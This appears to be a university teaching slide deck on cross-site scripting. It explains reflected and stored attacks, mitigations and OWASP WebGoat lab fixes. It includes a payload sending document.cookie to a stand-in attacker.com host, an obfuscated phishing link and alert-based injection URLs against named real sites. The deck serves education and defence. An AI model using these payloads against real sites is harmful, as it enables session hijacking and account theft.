Cross Site Scripting (XSS)

1. Cross Site Scripting (XSS) Charles Frank Northern Kentucky University

2. Cross-Site Scripting (XSS) • Attacker causes a legitimate web server to send user executable content (Javascript, Flash ActiveScript) of attacker’s choosing. • XSS used to obtain session ID for • Bank site (transfer money to attacker) • Shopping site (buy goods for attacker) • E-mail • Key ideas • Attacker sends malicious code to server. • Victim’s browser loads code from server and runs it. SIGCSE

3. Vulnerability Trends for 2006 SIGCSE

4. Anatomy of an XSS Attack • User logs into legitimate site. • Site sends user authentication cookie. • Attacker sends user XSS attack containing injected code. • User clicks on XSS link in email, web, IM. • Browser contacts vulnerable URL at legitimate site with cookie in URL. • Legitimate site returns injected code in web page. • Browser runs injected code, which accesses evil site with cookie in URL. • Evil site records user cookie. • Attacker uses cookie to authenticate to legitimate site as user. SIGCSE

5. XSS Example Client browser sends an error message to the web server. https://example.com/error.php?message=Sorry%2C+an +error+occurred SIGCSE

6. XSS Example The error message is “Reflected” back from the Web server to the client in a web page. <p>Sorry, an error occurred.</p> SIGCSE

7. XSS Example We can replace the error with JavaScript https://example.com/error.php?message=<script>alert(‘xss’);</script> SIGCSE

8. Proof of Concept SIGCSE

9. Exploiting the Vulnerability • User logins in and is issued a cookie • Attacker feed the URL to user https://example.com/error.php?message=<script>var+i=new+Image;+i.src=“http://attacker.com/”%2bdocument.cookie;</script> SIGCSE

10. Exploiting the Vulnerability • The server responds by sending the user a web page that runs the Java script. • The code makes a request to attacker.com containing the session token. SIGCSE

11. Exploiting the Vulnerability • The attacker monitors requests to attacker.com. • He uses the captured session token to gain access to the user’s personal information and perform actions as the “user”. SIGCSE

12. Email Snare From: “Example Customer Services” To: “J Q Customer” Dear Valued Customer, You have been selected to participate in our customer survey. Please complete our easy 5 question survey, and return we will credit $5 to your account. SIGCSE

13. Email Snare To access the survey, please log in to your account using your usual bookmark, and then click on the following link: https://example.com/%65%72%72...?message%3d...att%61%63%6b.com...docum%65..%63ookie... SIGCSE

14. Reassuring Email • The link contains the correct domain name (unlike phishing). • The URL has been obfuscated • It uses https SIGCSE

15. Reflected XSS Reflected XSS • Injected script returned by one-time message. • Requires tricking user to click on link. • Non-persistent. Only works when user clicks. SIGCSE

16. Anatomy of an XSS Attack Web Server 8. Attacker hijacks user session. 1. Login Attacker User 2. Cookie 5. XSS URL 3. XSS Attack 6. Page with injected code. 7. Browser runs injected code. 4. User clicks on XSS link. Evil site saves ID. SIGCSE

17. XSS URL Examples http://www.microsoft.com/education/?ID=MCTN&target=http://www.microsoft.com/education/?ID=MCTN&target="><script>alert(document.cookie)</script> http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>alert(‘Test’);</script> http://www.shopnbc.com/listing.asp?qu=<script>alert(document.cookie)</script>&frompage=4&page=1&ct=VVTV&mh=0&sh=0&RN=1 http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=_%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E SIGCSE

18. Stored XSS Stored XSS • Injected script stored in comment, message, etc. • Requires ability to insert malicious code into web documents (comments, reviews, etc.) • Persistent until message deleted. SIGCSE

19. Stored XSS • Auction site that allows buyers to post questions and sellers to post responses. • If an attacker can post a question containing a script, the attacker could get a user to bid without intending to or get the seller to close the auction and accept the attacker’s low bid. SIGCSE

20. Why does XSS Work? Same-Origin Policy • Browser only allows Javascript from site X to access cookies and other data from site X. • Attacker needs to make attack come from site X. Vulnerable Server Program • Any program that returns user input without filtering out dangerous code. SIGCSE

21. XSS Attacks MySpace worm (October 2005) • When someone viewed Samy’s profile: • Set him as friend of viewer. • Incorporated code in viewer’s profile. Paypal (2006) • XSS redirect used to steal money from Paypal users in a phishing scam. BBC, CBS (2006) • By following XSS link from securitylab.ru, you could read an apparently valid story on the BBC or CBS site claiming that Bush appointed a 9-year old as head of the Information Security department. SIGCSE

22. Impact of XSS • Attackers can hijack user accounts. • Attackers can hijack admin accounts too. • Attacker can do anything a user can do. • Difficult to track down source of attack. SIGCSE

23. Mitigating XSS • Disallow HTML input • Allow only safe HTML tags • Filter output Replace HTML special characters in output ex: replace < with &lt; and > with &gt; also replace (, ), #, & • Tagged cookies Include IP address in cookie and only allow access to original IP address that cookie was created for. SIGCSE

24. XSS Problem • XSS is a complex problem that is not going away anytime soon. • The browser is insecure by design. • It understand JavaScript. • It isn’t the browsers job to determine what code is good or bad. • Disabling scripting seriously dampens the user’s browsing experience. SIGCSE

25. Cross-Site Scripting Demo SIGCSE

26. OWASP WebGoat • http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project • WebGoat 5.2 Standard • WebGoat 5.2 Developer • Run webgoat.bat to start Tomcat • Enter http://localhost/WebGoat/attack in your browser SIGCSE

27. OWASP WebGoat Username: guest Password: guest Start WebGoat SIGCSE

28. Reflected XSS Attacks • Solution: • Enter <script>alert('Bang!')</script> for the PIN value • View Page Source • Edit | Find | Bang SIGCSE

29. Stage 6: Blocked Reflected XSS • You have to edit org.owasp.webgoat.lessons.CrossSiteScripting.FindProfile.java. Alter the method getRequestParameter. The body of the mehtod should look something like this: SIGCSE

30. Stage 6: Blocked Reflected XSS String regex = "[\\s\\w-,]*"; String parameter = s.getParser().getRawParameter(name); Pattern pattern = Pattern.compile(regex); validate(parameter, pattern); return parameter; SIGCSE

31. Stage 1: Stored XSS • First Login as Tom with tom as password. • Select Tom from the list and click on the View Profile Button. Now should appear Tom's Profile. SIGCSE

32. Stage 1: Stored XSS • Click on the 'Edit Profile' Button and try an XSS attack on the street field.For example: <script>alert("Got Ya");</script> • Click on the UpdateProfile Button and Log out. SIGCSE

33. Stage 1: Stored XSS • Now log in as Jerry with jerry as password. Select from the the list the profile of tom and hit the ViewProfile Button. SIGCSE

34. Stage 2: Blocked Stored XSS using Input Validation • Solution:You have to alter the method parseEmployeeProfile in the class UpdateProfile.java which is placed in the package org.owasp.webgoat.lessons.CrossSiteScriptingThe place to code is marked! SIGCSE

35. Stage 2: Blocked Stored XSS using Input Validation String regex = "[\\s\\w-,]*";String stringToValidate = firstName+lastName+ssn+title+phone+address1+address2+startDate+ccn+disciplinaryActionDate+disciplinaryActionNotes+personalDescription;Pattern pattern = Pattern.compile(regex);validate(stringToValidate, pattern); SIGCSE

36. Stage 2: Blocked Stored XSS using Input Validation • This validation allows following:\s = whitespace: \t\n\x0B\f\r\w = word: a-zA-Z_0-9and the characters - and , • Use of any other character will throw a Validation Exception. SIGCSE

37. Stage 3: Stored XSS Revisted • Log in as David with david as password. Choose Bruce from the List and click on the 'ViewProfile' Button. SIGCSE

38. Stage 4: Blocked XSS using Output Encoding • You have to use a static method called encode(String s) which is part of the class org.owasp.webgoat.util.HtmlEncoder. • This method changes all special characters in the string. • Now you have to use this method in the getEmployeeProfile method in the org.owasp.webgoat.lessons.CrossSiteScripting class. Replace all answer_results.getString(someString) with HtmlEncoder.encode(answer_results.getString(someString)) and you are done. SIGCSE

39. XSS References SIGCSE